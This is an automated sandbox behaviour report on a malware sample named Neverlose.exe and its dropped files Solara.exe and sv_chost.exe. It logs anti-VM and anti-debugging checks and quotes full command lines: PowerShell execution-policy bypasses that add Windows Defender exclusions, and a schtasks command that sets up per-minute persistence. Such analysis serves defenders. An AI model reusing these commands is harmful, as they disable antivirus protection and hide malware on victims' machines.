Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\Neverlose.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598970	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598616	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598495	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598351	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477

Source: Solara.exe, 00000004.00000002.2921766888.000000001C0C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd na%SystemRoot%\system32\mswsock.dllServiceModel.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>
Source: Neverlose.exe, 00000000.00000002.1727100048.0000000001008000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: SolaraBootstrapper.exe, 00000005.00000002.1770439761.0000000000E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: Neverlose.exe, Neverlose.exe, 00000000.00000002.1727100048.000000000114E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: Neverlose.exe, Neverlose.exe, 00000000.00000002.1727100048.000000000114E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: Neverlose.exe, 00000000.00000002.1727100048.0000000001008000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: Neverlose.exe, 00000000.00000002.1727100048.000000000114E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: Neverlose.exe, 00000000.00000002.1727100048.0000000001008000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Users\user\Desktop\Neverlose.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Neverlose.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\Neverlose.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'

Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sv_chost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "sv_chost" /tr "C:\Users\user\AppData\Roaming\sv_chost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Neverlose.exe	Queries volume information: C:\Users\user\Desktop\Neverlose.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
